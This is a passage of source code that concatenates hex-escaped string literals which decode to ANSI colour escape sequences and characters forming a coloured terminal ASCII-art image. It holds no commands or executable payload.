+"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30" +"\x6d\x58\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38" +"\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x74\x2e\x38\x3a\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x40\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x33\x3b\x34\x30\x6d\x53\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d" +"\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53" +"\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37" +"\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b" +"\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x40\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58" +"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x2e\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34" +"\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b" +"\x34\x37\x6d\x58\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x36\x3b\x34\x30\x6d\x25\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x3b\x3a\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32" +"\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x20\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x3a\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x37\x6d\x53\x40\x38\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b" +"\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x25\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b" +"\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d" +"\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x37\x6d\x2e\x58\x3b\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b" +"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d" +"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x2e\x20\x20\x20\x2e\x2e\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37" +"\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b" +"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x74\x20\x20" +"\x20\x20\x20\x20\x2e\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33" +"\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b" +"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x35\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34" +"\x37\x6d\x3a\x20\x2e\x20\x2e\x20\x20\x2e\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33" +"\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" 